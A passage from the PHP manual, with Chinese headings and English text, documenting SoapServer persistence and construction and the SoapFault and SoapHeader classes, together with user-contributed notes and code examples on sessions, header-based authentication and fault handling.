    require_once "/var/www/example/class/". $class_name. ".php";
}

//service

$_SESSION[_bogus_session_name] = unserialize($_SESSION[_bogus_session_name]);
$server = new SoapServer('service.wsdl');
$server->setClass("MyClass");
$server->setPersistence(SOAP_PERSISTENCE_SESSION);
$server->handle();
$_SESSION[_bogus_session_name] = serialize($_SESSION[_bogus_session_name])

?>
Ariz Jacinto 04-Dec-2008 04:38
If you want your SOAP client to be able to save and then retrieve the object properties, you need to set the SOAP server to be persistent by setting session.auto_start=0, invoking session_start(), and SoapServer->setPersistence(SOAP_PERSISTENCE_SESSION) in the following manner:

<?php
  //set ini
  ini_set("soap.wsdl_cache_enabled", 0);
  ini_set("session.auto_start", 0);

  //class file
  require_once('MyClass.php');

  //for persistent session
  session_start();

  //service
  $server = new SoapServer('service.wsdl');
  $server->setClass("MyClass");
  $server->setPersistence(SOAP_PERSISTENCE_SESSION);
  $server->handle();
?>


Sets the object which will be used to handle SOAP requests

  • ? SoapServer::setClass
  • SoapServer::setPersistence ?
  • PHP Manual
  • SoapServer
  • Sets the object which will be used to handle SOAP requests

SoapServer::setObject

(PHP 5 >= 5.2.0, PHP 7)

SoapServer::setObject — Sets the object which will be used to handle SOAP requests

说明

public SoapServer::setObject ( object $object ) : void

This sets a specific object as the handler for SOAP requests, rather than just a class as in SoapServer::setClass().

参数

object

The object to handle the requests.

返回值

没有返回值。

参见

  • SoapServer::setClass() - Sets the class which handles SOAP requests

User Contributed Notes

There are no user contributed notes for this page.


Sets SoapServer persistence mode

  • ? SoapServer::setObject
  • SoapServer::SoapServer ?
  • PHP Manual
  • SoapServer
  • Sets SoapServer persistence mode

SoapServer::setPersistence

(PHP 5, PHP 7)

SoapServer::setPersistence — Sets SoapServer persistence mode

说明

public SoapServer::setPersistence ( int $mode ) : void

This function allows changing the persistence state of a SoapServer object between requests. This function allows saving data between requests utilizing PHP sessions. This method only has an affect on a SoapServer after it has exported functions utilizing SoapServer::setClass().

Note:

The persistence of SOAP_PERSISTENCE_SESSION makes only objects of the given class persistent, but not the class static data. In this case, use $this->bar instead of self::$bar.

Note:

SOAP_PERSISTENCE_SESSION serializes data on the class object between requests. In order to properly utilize resources (e.g. PDO), __wakeup() and __sleep() magic methods should be utilized.

参数

mode

One of the SOAP_PERSISTENCE_XXX constants.

SOAP_PERSISTENCE_REQUEST - SoapServer data does not persist between requests. This is the default behavior of any SoapServer object after setClass is called.

SOAP_PERSISTENCE_SESSION - SoapServer data persists between requests. This is accomplished by serializing the SoapServer class data into $_SESSION['_bogus_session_name'], because of this session_start() must be called before this persistence mode is set.

返回值

没有返回值。

范例

Example #1 SoapServer::setPersistence() example

<?php
 class MyFirstPersistentSoapServer {
     private $resource; // (Such as PDO, mysqli, etc..)
     public $myvar1;
     public $myvar2;

     public function __construct() {
         $this->__wakeup(); // We're calling our wakeup to handle starting our resource
     }

     public function __wakeup() {
         $this->resource = CodeToStartOurResourceUp();
     }

     public function __sleep() {
         // We make sure to leave out $resource here, so our session data remains persistent
         // Failure to do so will result in the failure during the unserialization of data
         // on the next request; thus, our SoapObject would not be persistent across requests.
         return array('myvar1','myvar2');
     }
 }

 try {
     session_start();
     $server = new SoapServer(null, array('uri' => $_SERVER['REQUEST_URI']));
     $server->setClass('MyFirstPersistentSoapServer');
     // setPersistence MUST be called after setClass, because setClass's
     // behavior sets SESSION_PERSISTENCE_REQUEST upon enacting the method.
     $server->setPersistence(SOAP_PERSISTENCE_SESSION);
     $server->handle();
 } catch(SoapFault $e) {
     error_log("SOAP ERROR: ". $e->getMessage());
 }
?>

参见

  • SoapServer::setClass() - Sets the class which handles SOAP requests

User Contributed Notes

csnaitsirch at web dot de 01-Apr-2010 05:25
I want to give one example for the order of commands if you want to use a class in persistence mode.

<?php
// 1. class definition or include
class UserService
{
    public function __construct() { }
}

// 2. start the session after defining or including the class!!
session_start();

// 3. instanciate the server
$server = new SoapServer(null, array("something"));

// 4. set the class to use
$server->setClass('UserService');

// 5. set persistance mode
$server->setPersistence(SOAP_PERSISTENCE_SESSION);

// 6. handle the request
$server->handle();
?>
doug dot manley at gmail dot com 30-May-2008 12:54
When using "SoapServer::setPersistence( SOAP_PERSISTENCE_SESSION )", you apparently MUST include the class that was used in "SoapServer::setClass()" BEFORE any "session_*" commands.

I found this out using "__autoload()" and a whole lot of "syslog()"; it kept failing to include the class that I was using for my soap server, but that class is ONLY ever referenced by the page itself, and even then only for the purposes of setting the class for the soap server; none of my code would ever cause it to autoload.  The problem was that I was including my session-handling code first.

If the session gets started BEFORE the page defines the class definition, then persistence CANNOT happen.

The order should be:
1. Include the class for use with the soap server.
2. Start up your session.
3. Set up your soap server.
4. Handle your soap request.
boogiebug at gmail dot com 25-Mar-2008 07:40
setPersistence works only for a single instance of service class.

To use multiple instance of services objects, you need to instantiate the classes into objects and use an undocumented SoapServer's method - setObject() to add the service object into the SoapServer object, and handle the service object persistence with $_SESSION instead.

For example:

$ServiceObjects = array()
$ServiceObjects[0] = new ServiceClass1();
$ServiceObjects[1] = new ServiceClass2();
$ServiceObjects[2] = new ServiceClass3();

$_SESSION['ServiceClass1'] = $ServiceObjects[0];
$_SESSION['ServiceClass2'] = $ServiceObjects[1];
$_SESSION['ServiceClass3'] = $ServiceObjects[2];

...

$Servers = array()
for ( $i = 0; $i < count($ServiceObjects); i++)
{
  $s = new SoapServer($wsdl);
  $s->setObject($ServiceObject[$i]);
  $Servers[] = $s;
}

...

$Server[$i]->handle()

...
jan at pinna dot nl 26-Jan-2008 03:28
I found that using both modes (SOAP_PERSISTENCE_SESSION and SOAP_PERSISTENCE_REQUEST) cannot be used simultaniously. Because it didn't work at once, I started experimenting by using different settings and as stated below in the comments, "...also use SOAP_PERSISTENCE_REQUEST to save objects between requests" led me to think it was nessecary to use both modes. Well, it might for others, be but for me it turned out a day of freaking out ;) (trying all kinds of session stuff, etc etc).
Also, if persistence doesn't work, please check if session_start() is called somewhere in the script and try not to call it twice or whatsoever: it won't work...
jared at ws-db dot com 28-Aug-2005 12:07
I had some issues getting session persistence (SOAP_PERSISTENCE_SESSION) to work. I finally got it working after setting session.auto_start=0, and then only calling session_start() in the script containing the SoapServer. Maybe this is obvious, but took me a bit to figure it out.

I only tried it with session.use_cookies=1, so if the settings above don't work for you, make sure cookies are enabled, though it may work without the need for cookies.
cperez1000 at hotmail dot com 28-May-2005 08:54
Always remember to place the "setPersistence" method before the handle method, otherwise it won't work.  It sounds obvious, but it's still a very common mistake, since no errors are shown.


SoapServer constructor

  • ? SoapServer::setPersistence
  • SoapFault ?
  • PHP Manual
  • SoapServer
  • SoapServer constructor

SoapServer::SoapServer

(PHP 5, PHP 7)

SoapServer::SoapServer — SoapServer constructor

说明

public SoapServer::SoapServer ( mixed $wsdl [, array $options ] )

This constructor allows the creation of SoapServer objects in WSDL or non-WSDL mode.

参数

wsdl

To use the SoapServer in WSDL mode, pass the URI of a WSDL file. Otherwise, pass NULL and set the uri option to the target namespace for the server.

options

Allow setting a default SOAP version (soap_version), internal character encoding (encoding), and actor URI (actor).

The classmap option can be used to map some WSDL types to PHP classes. This option must be an array with WSDL types as keys and names of PHP classes as values.

The typemap option is an array of type mappings. Type mapping is an array with keys type_name, type_ns (namespace URI), from_xml (callback accepting one string parameter) and to_xml (callback accepting one object parameter).

The cache_wsdl option is one of WSDL_CACHE_NONE, WSDL_CACHE_DISK, WSDL_CACHE_MEMORY or WSDL_CACHE_BOTH.

There is also a features option which can be set to SOAP_WAIT_ONE_WAY_CALLS, SOAP_SINGLE_ELEMENT_ARRAYS, SOAP_USE_XSI_ARRAY_TYPE.

The send_errors option can be set to FALSE to sent a generic error message ("Internal error") instead of the specific error message sent otherwise.

范例

Example #1 SoapServer::SoapServer() example

<?php

$server = new SoapServer("some.wsdl");

$server = new SoapServer("some.wsdl", array('soap_version' => SOAP_1_2));

$server = new SoapServer("some.wsdl", array('actor' => "http://example.org/ts-tests/C"));

$server = new SoapServer("some.wsdl", array('encoding'=>'ISO-8859-1'));

$server = new SoapServer(null, array('uri' => "http://test-uri/"));

class MyBook {
    public $title;
    public $author;
}

$server = new SoapServer("books.wsdl", array('classmap' => array('book' => "MyBook")));

?>

更新日志

版本 | 说明
5.2.0 | Added the typemap option.

参见

  • SoapClient::SoapClient() - SoapClient constructor

User Contributed Notes

driezasson at me dot com 03-Jul-2015 12:31
There is a option key 'send_errors' that can be use not to expose PHP (fatal) error messages to the SoapFault message text.

If server is created with a 'send_errors' => false option provied, the faultstring of the SoapFault thrown upon running into a PHP error would be a generic "Internal Error" instead of e.g. "Class 'MySecretClass' not found.".

Example:
$server = new SoapServer('http://path.to/my.wsdl', array('send_errors' => false));

The only place this is mentioned is in a discussion under the bug #42214. However, it is not mentioned in the manual page, at least not at the time of writing this note.
the dot a77icu5 at gmail dot com 06-Jan-2014 09:14
only complementing Juamei answer, the header is passed to UsernameToken method as an object with 2 properties Username and Password.
andyidol at gmail dot com 03-Apr-2012 11:21
Here's my solution to make SOAP-headers based authentication.

1). First of all we define the decorator class for our service class:

<?php

class SOAP_Service_Secure
{
    protected $class_name    = '';
    protected $authenticated = false;

    // -----

    public function __construct($class_name)
    {
        $this->class_name = $class_name;

    }

    public function AuthHeader($Header)
    {
        if($Header->username == 'foo' && $Header->password == 'bar')
            $this->authenticated = true;

    }

    public function __call($method_name, $arguments)
    {
        if(!method_exists($this->class_name, $method_name))
            throw new Exception('method not found');

        $this->checkAuth();

        return call_user_func_array(array($this->class_name, $method_name), $arguments);

    }

    // -----

    protected function checkAuth()
    {
        if(!$this->authenticated)
            HTML_Output::error(403);

    }

}

?>

2). Then we pass an instance of it to the SoapServer object.

<?php

    $Service = new SOAP_Service_Secure('My_Service');

    $Server = new SoapServer('my-service.wsdl');

    $Server->setObject($Service);

    $Server->handle();

?>

3). Implementing a client:

<?php

class AuthHeader
{
    public $username;
    public $password;

}

// -----

$Client = new SoapClient('http://example.com/my-service.wsdl', array(
    'exceptions' => true
));

// -----

$AuthHeader = new AuthHeader();

$AuthHeader->username = 'foo';
$AuthHeader->password = 'bar';

$Headers[] = new SoapHeader('http://example.com', 'AuthHeader', $AuthHeader);

$Client->__setSoapHeaders($Headers);

// -----

$Result = $Client->someMethod();

?>

As you can see SoapServer uses our decorator class to answer client requests. If request contains "AuthHeader" SOAP-header then our wrapper checks the credentials and sets $authenticated parameter to TRUE (on success). Then SoapServer calls requested method on our wrapper, we are intercepting it with __call(), checking authentication and if everything is allright we are calling real method on the "My_Service" class.
jille at quis dot cx 07-May-2011 08:04
The SoapServer can not generate WSDL's yet. (PHP 5.3.5)
It'll exit with "SOAP-ENV:ServerWSDL generation is not supported yet"
ricohn hotmail com 28-Jan-2011 07:18
If you're running $soapServer->handle() and getting an empty server response and no errors (even in the logs), check if you're instantiating the SOAP server like this:

<?php
$soapServer = new SoapServer('http://www.example.com/soap/endpoint?wsdl');
//...
$soapServer->handle(); // Result: Empty response
?>

Instantiating the SOAP server with one the following should fix it:

<?php
// With slash before ?wsdl:
$soapServer = new SoapServer('http://www.example.com/soap/endpoint/?wsdl');
// Or instantiate with the "uri" option, which works with or without the trailing slash:
$soapServer = new SoapServer(null, array('uri' => 'http://www.example.com/soap/endpoint?wsdl'));
$soapServer = new SoapServer(null, array('uri' => 'http://www.example.com/soap/endpoint/?wsdl'));
?>

Hope that helps somebody! Zend_Soap_Server wasn't working for me, and I eventually found that it had to do with the native PHP SOAP class (which ZF uses).
nilzor at gmail dot com 12-May-2010 03:04
Calling a server from .NET:
If you intend to call a PHP SOAP server from a .NET Client, there are a couple of things to be aware of. First of all, I've only got it working in WSDL mode. If anyone have made it work in non-WSDL-mode, I'd be interested in hearing that. In WSDL-mode it works, but both input and output-parameters are wrapped from .NET.

Basically, a function with this signature:

<?php
function SomeFunction($param1, $param2)
{
   return $param1+$param2;
}
?>

Must be rewritten to this, without changing the WSDL:

<?php
function SomeFunction($data)
{
 $valueArray = get_object_vars($data);
 $param1 = $valueArray["param1"];
 $param2 = $valueArray["param2"];
 return Array("SomeFunctionResult" => $param1+$param2);
}
?>
Sloloem 07-Oct-2009 08:31
typemap isn't very well documented at all, but I thought I might be able to use it to clean some things up and map between object fields and XML attributes that have different names but are conceptually the same thing.

Unfortunately type map works at the object level, not the field level like I was hoping, requiring you to provide functions for building the entire object from an XML string (using the XML parser of your choice) and vice versa.  I found the wording of the docs very confusing, both parameters are strings which are function names.

the to_xml function will take the object as a parameter and return a string,
the from_xml function will take an xml string as a parameter and should return an object of the correct type.

Both methods can also throw SOAPFaults or other exceptions which can be caught from the actual client method call ($client->someRemoteMethod())

There are decent usage examples in the PHP build tests:  http://cvs.php.net/viewvc.cgi/php-src/ext/soap/tests/?diff_format=u
The typemap tests are at the bottom.
spiro79 at gmail dot com 21-Sep-2009 01:12
If you are getting an error about always_populate_raw_post_data or Can't find HTTP_RAW_POST_DATA then it means the server isn't getting info from the (you guessed!) raw post data.
Try doing something like this when coding your server:

<?php
$server = new SoapServer(null,array('uri' => "http://localhost/namespace"));
$server->setClass('myClass');
$data = file_get_contents('php://input');
$server->handle($data);
?>

Worked for me!
kostya[.]chumickin [at] 9mail[.]c0m 28-Mar-2009 03:06
Beware: in wsdl mode SoapServer does not properly validate if
request matches the given WSDL. It just skips invalid elements. http://bugs.php.net/bug.php?id=45966
beckman at angryox.com 04-Nov-2008 02:01
While others may not do what I did, I thought if my WSDL was not local and needed to be grabbed via HTTP, I should set the $wsdl var in __construct() to NULL, and set the 'uri' value in the additional parameters.

This does enable non-WSDL mode, which only causes problems when using complex types.  Since your complex types are not respected/imported, you get unexpected problems out the wazoo.

So if you are exposing your class via "setClass" to the SOAP server and for some reason your "types" aren't being returned, you can do this:

<?php
$server = new SoapServer('http://soap.example.com/genwsdl.php?api');
$server->setClass('myClass'); // previously included or defined
$server->handle();
?>

This is NOT correct:
<?php
$server = new SoapServer(NULL, array('uri' => 'http://soap.example.com/genwsdl.php?api'));
?>

I sure wish someone really smart would go into a bit more detail in this documentation of the SoapServer options, why they exist, when to use them, etc.  I find the SOAP docs lacking polish.
lordi at msdi dot ca 29-Jul-2008 09:45
Things that I've searched a lot for that might be useful to somebody:

If you are using Zend Studio, you can easily generate a wsdl file using the WSDL Generator if you document your code using PHPDOC.

One thing a lot of people are searching everywhere, is the way to pass/return an array of variables... In your PHPDOC block use the [] after the variable name like this

<?php
class SoapServer {
  /**
   * This is My Soap Server
   * @param integer[] $a
   * @param string[] $b
   * @param bar[] $c
  */
  public function foo ($a, $b, $c){
  }
}
?>
This way, the function will require an array of integers for $a, an array of strings for $b and an array of objets of Class "bar" for $c

In the WSDL, you'll find something like this

<xsd:complexType name="barArray">
  <xsd:complexContent>
    <xsd:restriction base="soapenc:Array">
      <xsd:attribute ref="soapenc:arrayType" wsdl:arrayType="typens:bar[]"/>
    </xsd:restriction>
  </xsd:complexContent>
</xsd:complexType>
<xsd:complexType name="bar">
  <xsd:all>
    <xsd:element name="var1" type="xsd:boolean"/>
    <xsd:element name="var2" type="xsd:integer"/>
    <xsd:element name="var3" type="xsd:string"/>
  </xsd:all>
</xsd:complexType>

I didn't define anywhere the barArray type, Zend's WSDL Generator generated it automatically...

If you are not using Zend you can generate the wsdl file manually.

Hope it helps someone
php dot net at juamei dot com 31-Oct-2007 03:42
In response to Timo, it is possible to access Soap Headers from the SoapServer class and call methods to handle them. Rather than treat them seperately, they are treated as part of the Soap request.

To pass approximately wss standard headers (note that I couldn't get attributes from the header tags without text preprocessing, so standards compliance failed me), first create the following class on the client:
<?php
/*
 * Login credentials to be supplied as a SOAP header
 * Class used to ensure Soap Head tags in correct format.
 */
class SoapHeaderUsernameToken
{
    /** @var int Password */
    public $Password;
    /** @var int Username */
    public $Username;

    public function __construct($l, $p)
    {
        $this->Password = $p;
        $this->Username = $l;
    }
}
?>

Now, set the Soap Headers:

<?php
    // Set the login headers
    $wsu = 'http://schemas.xmlsoap.org/ws/2002/07/utility';
    $usernameToken = new SoapHeaderUsernameToken($this->username, $this->password);
    $soapHeaders[] = new SoapHeader($wsu, 'UsernameToken', $usernameToken);
?>

Next instantiate the client object, add the headers and make the call:

<?php
    $client = new SoapClient( $wsdl);
    $client->__setSoapHeaders( $soapHeaders );
    $client->__soapCall( $method, $params );
?>

Moving to the Server, you'll handle the Soap call somewhat like:
<?php
// Instantiate server with relevant wsdl & class.
$server = new SoapServer( 'mysoapwsdl.wsdl' );
$server->setClass(  'mysoapclass' );
$server->handle();
?>

The key here is that the headers will be handled first by the server which will call the method mysoapclass::UsernameToken. The way we work this is the UsernameToken method authenticates the username / password combo and sets a protected class var. Then when the Soap Body is handled and the appropriate class method called, a check is made at the start of callable method to ensure authentication has been passed.

If the Soap auth header is missing, the soap body method will be called anyway so the check is essential in case a malevolent client deliberately leaves the headers off.

An example server class is below (missing various methods which I leave as an exercise to the reader to provide):
<?php
class mysoapclass {
    /*
     * Authentication function
     * This is called by the Soap header of the same name. The function name is a Ws-security standard auth tag
     * and corresponds to the header tag.
     *
     * @param string username
     * @param string password
     */
    public function UsernameToken( $username, $password ){
        // Store username for logging
        $this->Username = $username;

        $auth = new $this->AuthClass( $username, $password, get_class($this) );
        if( $auth->IsValid() ){
            $this->Authenticated = true;
        } else {
            $this->ThrowSoapFault( 'auth' );
        }
    }

    /*
     * Test method
     */
    public function felineResponse( $action ){

        // Place this at the start of every exposed method
        // This is because the SoapServer will attempt to call
        // if no authentication headers are passed.
        if(!$this->Authenticated){
            $this->ThrowSoapFault( 'auth' );
        }

        if( $action == 'stroke' ){
            return 'purr';
        } elseif( $action == 'tease' ){
            return 'hiss';
        }
    }

}
?>

This is a adaptation of stuff I found online somewhere...
joel dot pearson at gmail dot com 10-Jul-2007 10:12
In response to jas [at] dansupport (dot) dk:

All you need to do is disable wsdl caching like so:

ini_set("soap.wsdl_cache_enabled", "0");

Then you don't need to delete any cache files.
jas [at] dansupport (dot) dk 29-May-2007 11:24
A general thing i've experienced with SOAP and which, for some reason, isn't mentioned in ANY tutorials I've read, is this: The server tends to cache the interface. This means that if you add a function you'll usually get errors that the function doesn't exist.
If your SOAP server is written in PHP just delete the cache files, usually located in /tmp, whenever you add a function, or modify the parameters. These are named wsdl-******something******
I hope this will spare someone the grief I've experienced with this.
Timo 03-Aug-2006 05:46
It is currently not possible to process soap headers from within a SoapServer instance. If soap headers are specified within a WSDL file, you have to extract the headers manually from the request.

For more information please see http://bugs.php.net/bug.php?id=38309


The SoapFault class

(PHP 5, PHP 7)

简介

Represents a SOAP fault.

类摘要

SoapFault extends Exception {
/* 继承的属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
__construct ( string $faultcode , string $faultstring [, string $faultactor [, string $detail [, string $faultname [, string $headerfault ]]]] )
SoapFault ( string $faultcode , string $faultstring [, string $faultactor [, string $detail [, string $faultname [, string $headerfault ]]]] )
public __toString ( void ) : string
/* 继承的方法 */
final public Exception::getMessage ( void ) : string
final public Exception::getPrevious ( void ) : Throwable
final public Exception::getCode ( void ) : int
final public Exception::getFile ( void ) : string
final public Exception::getLine ( void ) : int
final public Exception::getTrace ( void ) : array
final public Exception::getTraceAsString ( void ) : string
public Exception::__toString ( void ) : string
final private Exception::__clone ( void ) : void
}

Table of Contents

  • SoapFault::__construct — SoapFault constructor
  • SoapFault::SoapFault — SoapFault constructor
  • SoapFault::__toString — Obtain a string representation of a SoapFault

User Contributed Notes

fbernoldi at gmail dot com 03-Oct-2012 05:46
Hi all,

I've decided to post this since it may be helpful, I've spend a couple of days trying to do this.

In order to use wsdl's specified faults with complex types, i.e:

WSDL definitions:

(xsd:schema namespace, ns1 = target namespace)

<xsd:element name="doubleFault">
  <xsd:complexType>
    <xsd:sequence>
      <xsd:element name="detail1" type="xsd:string"/>
      <xsd:element name="detail2" type="xsd:string"/>
    </xsd:sequence>
  </xsd:complexType>
</xsd:element>

WSDL messages:

<message name="fault_specified">
    <part name="relevant_name" element="ns1:doubleFault"/>
</message>

WSDL port type:

<portType name="test">
  <operation name="operationTest">
  <input message="ns1:not_relevant_request"/>
  <output message="ns1:not_relevant_response"/>
  <fault name="FaultSpecified" message="ns1:fault_specified"/>
  ....
</portType>

You have to specify the response in the detail parameter as an array corresponding the tag names.

PHP Code:

<?php

function operationTest($request_param ...) {

    // ...
    $array_details = array("detail1" => "Explanation 1", "detail2" => "Explanation 2");

    return new SoapFault("Server", "example fault string", null, $array_details, "FaultSpecified");

}

$server = new SOAPServer("handmade.wsdl");
$server->addFunction("operationTest");
$server->handle();

?>

that should respond something like this:

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://mynamespace">
   <SOAP-ENV:Body>
      <SOAP-ENV:Fault>
         <faultcode>SOAP-ENV:Server</faultcode>
         <faultstring>example fault string</faultstring>
         <detail>
            <ns1:doubleFault>
               <detail1>Explanation 1</detail1>
               <detail2>Explanation 2</detail2>
            </ns1:doubleFault>
         </detail>
      </SOAP-ENV:Fault>
   </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

I Hope it helps,
Federico.
chris AT cmbuckley DOT co DOT uk 13-May-2010 03:53
A bit more digging in ext/soap/soap.c and the set_soap_fault function reveals the other undocumented properties from the constructor:

<?php
try {
    throw new SoapFault('code', 'string', 'actor', 'detail', 'name', 'header');
} catch (Exception $ex) {
    var_dump($ex->faultcode, $ex->faultstring, $ex->faultactor, $ex->detail, $ex->_name, $ex->headerfault);
}
?>
dmitry dot koterov at gmail dot com 29-Oct-2009 02:21
You may use undocumented and invisible property $e->faultcode to access string version of $code. Because standard $e->getCode() does not work:

<?php
$e = new SoapFault("test", "msg");
var_dump($e->getCode()); // prints "0"
var_dump($e->faultcode); // prints "test"
?>

Also you may use namespaced fault codes:

<?php
$e = new SoapFault(array("namespace", "test"), "msg");
?>

- see ext/soap/soap.php, PHP_METHOD(SoapFault, SoapFault). To access the namespace, use $e->faultcodens


SoapFault constructor

  • ? SoapFault
  • SoapFault::SoapFault ?
  • PHP Manual
  • SoapFault
  • SoapFault constructor

SoapFault::__construct

(PHP 5, PHP 7)

SoapFault::__construct — SoapFault constructor

说明

SoapFault::__construct ( string $faultcode , string $faultstring [, string $faultactor [, string $detail [, string $faultname [, string $headerfault ]]]] )

此函数是该函数的别名： SoapFault::SoapFault()

User Contributed Notes

csnaitsirch at web dot de 01-Apr-2010 05:04
The first Parameter of the constructor, the faultcode, of SoapFault must be a string. Otherwise it will lead to an error.

<?php
throw new SoapFault(1, "Error message!"); // wrong
throw new SoapFault("1", "Error message!"); // right
?>


SoapFault constructor

  • ? SoapFault::__construct
  • SoapFault::__toString ?
  • PHP Manual
  • SoapFault
  • SoapFault constructor

SoapFault::SoapFault

(PHP 5, PHP 7)

SoapFault::SoapFault — SoapFault constructor

说明

SoapFault::SoapFault ( string $faultcode , string $faultstring [, string $faultactor [, string $detail [, string $faultname [, string $headerfault ]]]] )

This class is used to send SOAP fault responses from the PHP handler. faultcode, faultstring, faultactor and detail are standard elements of a SOAP Fault.

参数

faultcode

The error code of the SoapFault.

faultstring

The error message of the SoapFault.

faultactor

A string identifying the actor that caused the error.

detail

More details about the cause of the error.

faultname

Can be used to select the proper fault encoding from WSDL.

headerfault

Can be used during SOAP header handling to report an error in the response header.

范例

Example #1 Some examples

<?php
function test($x)
{
    return new SoapFault("Server", "Some error message");
}

$server = new SoapServer(null, array('uri' => "http://test-uri/"));
$server->addFunction("test");
$server->handle();
?>

It is possible to use PHP exception mechanism to throw SOAP Fault.

Example #2 Some examples

<?php
function test($x)
{
    throw new SoapFault("Server", "Some error message");
}

$server = new SoapServer(null, array('uri' => "http://test-uri/"));
$server->addFunction("test");
$server->handle();
?>

参见

  • SoapServer::fault() - Issue SoapServer fault indicating an error
  • is_soap_fault() - Checks if a SOAP call has failed

User Contributed Notes

Istratov Vadim 15-Dec-2010 06:46
In case you need to return SOAP Fault for SOAP Client based on Adobe Flash/Flex/AIR and stuck with Flash's inability to process SOAP messages with HTTP code 500 (that's what SOAP Fault returns; read more on this error here: http://bugs.php.net/bug.php?id=43507) then try this dirty hack:

<?php
$server = new SoapServer ( "SomeWSDL.wsdl" );
$server->setClass ( "SOAP_Class" );

/**
 * Catching SOAP Server response and overriding HTTP Status code.
 */
ob_start();
$server->handle ();
$soapResponse = ob_get_contents();
ob_end_clean();

header('HTTP/1.0 200 OK');
echo $soapResponse;
?>

Keep in mind that from PHP 5.2.6 SOAP Fault has an HTTP Status Code = 200 if User-agent is "Shockwave Flash", but when Flash object is integrated into HTML page SOAP Server receives User-agent = Broswer-agent and NOT "Shockwave Flash".

Also it'll be a good idea to return HTTP 200 Code only if 500 Error is caused by known service faults.
klemens dot r at gmail dot com 20-May-2010 02:17
To get custom Soap Error Codes use in the catch $e->faultcode instead of $e->getCode.

<?php
try {
    // ...
} catch (SoapFault $e) {
    echo $e->faultcode;
}
?>
del at babel dot com dot au 14-Jul-2008 12:10
There are only a few legitimate "codes" that a SOAP fault can have and be understood by most clients in accordance with the protocol.  You can't just pass in, for example, a database error code or you'll get a fatal error like "SoapFault::__construct(): Invalid parameters. Invalid fault code."

The ones you generally want to use are "Sender" where you've gotten bad parameters, or "Receiver" where the server has gotten an error for some reason.

See here:

http://www.w3.org/TR/soap12-part1/#faultcodes


Obtain a string representation of a SoapFault

  • ? SoapFault::SoapFault
  • SoapHeader ?
  • PHP Manual
  • SoapFault
  • Obtain a string representation of a SoapFault

SoapFault::__toString

(PHP 5, PHP 7)

SoapFault::__toString — Obtain a string representation of a SoapFault

说明

public SoapFault::__toString ( void ) : string

Returns a string representation of the SoapFault.

参数

此函数没有参数。

返回值

A string describing the SoapFault.

User Contributed Notes

There are no user contributed notes for this page.


The SoapHeader class

(PHP 5, PHP 7)

简介

Represents a SOAP header.

类摘要

SoapHeader {
/* 方法 */
__construct ( string $namespace , string $name [, mixed $data [, bool $mustunderstand [, string $actor ]]] )
SoapHeader ( string $namespace , string $name [, mixed $data [, bool $mustunderstand = FALSE [, string $actor ]]] )
}

Table of Contents

  • SoapHeader::__construct — SoapHeader constructor
  • SoapHeader::SoapHeader — SoapHeader constructor

User Contributed Notes

ericvaneldik at gmail dot com 08-Apr-2019 07:16
If you want to create an soap header wihtout namespace and without an item key value setup, you can use SoapVar

To get this:
<SOAP-ENV:Header>
    <IdentityHeader>
      <SessionID>123456789</SessionID>
    </IdentityHeader>
  </SOAP-ENV:Header>

you can use this php code:
<?php
$headerVar = new SoapVar('<IdentityHeader><SessionID>123456789</SessionID></IdentityHeader>',
      XSD_ANYXML);
$header = new SoapHeader('http://tempuri.org/','RequestParams',
      $headerVar);
?>
abdul dot rashid at paytabs dot co 13-Mar-2016 10:06
Just to add some note regarding his john at jtresponse dot co dot uk

In PHP you can try following code to avoid the <item><key/>

$Auth = new stdClass();
$Auth->SystemId = "DATA";
$Auth->UserName = "USERNAME";
$Auth->Password = "PASSWORD";

$header = new SoapHeader('NAMESPACE','Auth',$Auth,false);
$soapClient->__setSoapHeaders($header);

  <SOAP-ENV:Header>
    <ns1:Auth>
      <ns1:SystemId>DATA</ns1:SystemId>
      <ns1:UserName>USERNAME</ns1:UserName>
      <ns1:Password>PASSWORD</ns1:Password>
    </ns1:Auth>
  </SOAP-ENV:Header>
voroks at logics dot net dot au 03-Jul-2015 12:43
Example by john at jtresponse dot co dot uk does miss one important point: to be able to add attributes they must be mentioned in WSDL. If they not exist in WSDL they WILL NOT appear as attributes but rather <item><key/><value/></item> elements.
john at jtresponse dot co dot uk 13-Mar-2012 01:30
None of the examples really do it for me.
Note: you should NOT need to hard-code any XML.

Here is an example of creating a nested header and including a parameter.

$client = new SoapClient(WSDL,array());

$auth = array(
        'UserName'=>'USERNAME',
        'Password'=>'PASSWORD',
        'SystemId'=> array('_'=>'DATA','Param'=>'PARAM'),
        );
  $header = new SoapHeader('NAMESPACE','Auth',$auth,false);
  $client->__setSoapHeaders($header);

Gives the following header XML:

  <SOAP-ENV:Header>
    <ns1:Auth>
      <ns1:SystemId Param="PARAM">DATA</ns1:SystemId>
      <ns1:UserName>USERNAME</ns1:UserName>
      <ns1:Password>PASSWORD</ns1:Password>
    </ns1:Auth>
  </SOAP-ENV:Header>


SoapHeader constructor

  • ? SoapHeader
  • SoapHeader::SoapHeader ?
  • PHP Manual
  • SoapHeader
  • SoapHeader constructor

SoapHeader::__construct

(PHP 5, PHP 7)

SoapHeader::__construct — SoapHeader constructor

说明

SoapHeader::__construct ( string $namespace , string $name [, mixed $data [, bool $mustunderstand [, string $actor ]]] )

此函数是该函数的别名： SoapHeader::SoapHeader()

User Contributed Notes

There are no user contributed notes for this page.


SoapHeader constructor

  • ? SoapHeader::__construct
  • SoapParam ?
  • PHP Manual
  • SoapHeader
  • SoapHeader constructor

SoapHeader::SoapHeader

(PHP 5, PHP 7)

SoapHeader::SoapHeader — SoapHeader constructor

说明

SoapHeader::SoapHeader ( string $namespace , string $name [, mixed $data [, bool $mustunderstand = FALSE [, string $actor ]]] )

Constructs a new SoapHeader object.

参数

namespace

The namespace of the SOAP header element.

name

The name of the SoapHeader object.

data

A SOAP header's content. It can be a PHP value or a SoapVar object.

mustUnderstand

Value of the mustUnderstand attribute of the SOAP header element.

actor

Value of the actor attribute of the SOAP header element.

范例

Example #1 SoapHeader::SoapHeader() example

<?php
$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
                                     'uri'      => "http://test-uri/"));
$client->__soapCall("echoVoid", null, null,
                new SoapHeader('http://soapinterop.org/echoheader/',
                               'echoMeStringRequest',
                               'hello world'));
?>

参见

  • SoapClient::__soapCall() - Calls a SOAP function
  • SoapVar::SoapVar() - SoapVar constructor
  • SoapParam::SoapParam() - SoapParam constructor
